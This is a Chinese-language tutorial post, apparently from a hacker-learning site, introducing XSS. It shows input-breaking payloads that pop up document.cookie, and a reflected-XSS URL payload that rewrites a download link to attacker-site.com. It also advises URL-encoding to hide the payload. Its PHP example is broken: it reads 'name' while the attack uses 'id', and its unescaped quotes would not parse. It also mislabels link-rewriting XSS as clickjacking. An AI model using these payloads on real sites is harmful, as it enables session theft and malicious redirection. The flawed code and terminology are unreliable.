XSS学习笔记(一)-点击劫持 中国骇客云端xss学习网

所谓的XSS场景就是触发的XSS的场所,多数情况下都是攻击者在网页中嵌入(发表)的恶意脚本(Cross site Scripting),这里的触发攻击总是在浏览器端,达到攻击的者的目的,一般都是获取用户的Cookie(可以还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击,传播XSS蠕虫等。

简单举一个场景:
在一个页面有一个textbox 代码就是<input type=”text” name=”address1″ value=”value1from”>
这里的valuefrom 就是来自用户的输入,如果用户输入的不是valuefrom 的字符串,而是其他的代码就可能出现用户输入的数据被执行,如输入:”/><script>alert(document.cookie);</script><!–那样输入字符床被拼接的之后就是:

<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">

这样就是显示一个含有用户cookie的提示框,如果输入再改改:
” onfocus=”alert(document.cookie); 那就变成了:

<input type="text" name="address1" value="" onfocus="alert(document.cookie); ">

这样在onfocus事件触发后,js 代码就会被执行,当然攻击者肯定不会傻的把提示框弹出来,这里只是证明可以获取到数据,hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法一般是:
在目标网页嵌入一段遮掩给的代码(一般都是在比较隐蔽的位置,或者直接就是在结尾):

1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):
原来服务器页面是

<?php
	$name = $_GET['name']; 			/* 在GET 参数中获取用户名 */
	echo "Welcome $name <br>";		/* 这里网页中打印变量     */
	echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>";  /* 显示可重定向的链接 */
?>

如果用户在URL输入:

index.php?id=ByteWay<script>alert('attacked');</script>

这样在用户链接就会生成这样html代码:

Welcome ByteWay <script>alert('attacked');</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,但是你会发现这还不是点击劫持啊? 呵呵,不要着急,只要你明白了这个道理,相信你就是猥琐的想到直接在那里加段js 直接修改掉那个超链接就Ok了,下面是具体的办法:
如果用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName(‘a’);link[0].href=’http://attacker-site.com’;}</script>

返回到用户的界面就是这样的:

Welcome ByteWay
<script>
	window.onload=function(){var link=document.getElementsByTagName('a');
	link[0].href='http://attacker-site.com';
	}
</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

但是因为很快就会执行window.load的方法,这样后面的劫持的URL就发生了:

Welcome ByteWay
<script>
	window.onload=function(){var link=document.getElementsByTagName('a');
	link[0].href='http://attacker-site.com';
	}
</script>
<br>
<a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->

当然这里的看得URL太过明显了,咋办? 只要再加个urlencode()等之类的函数就起到模糊视听的作用了。

打赏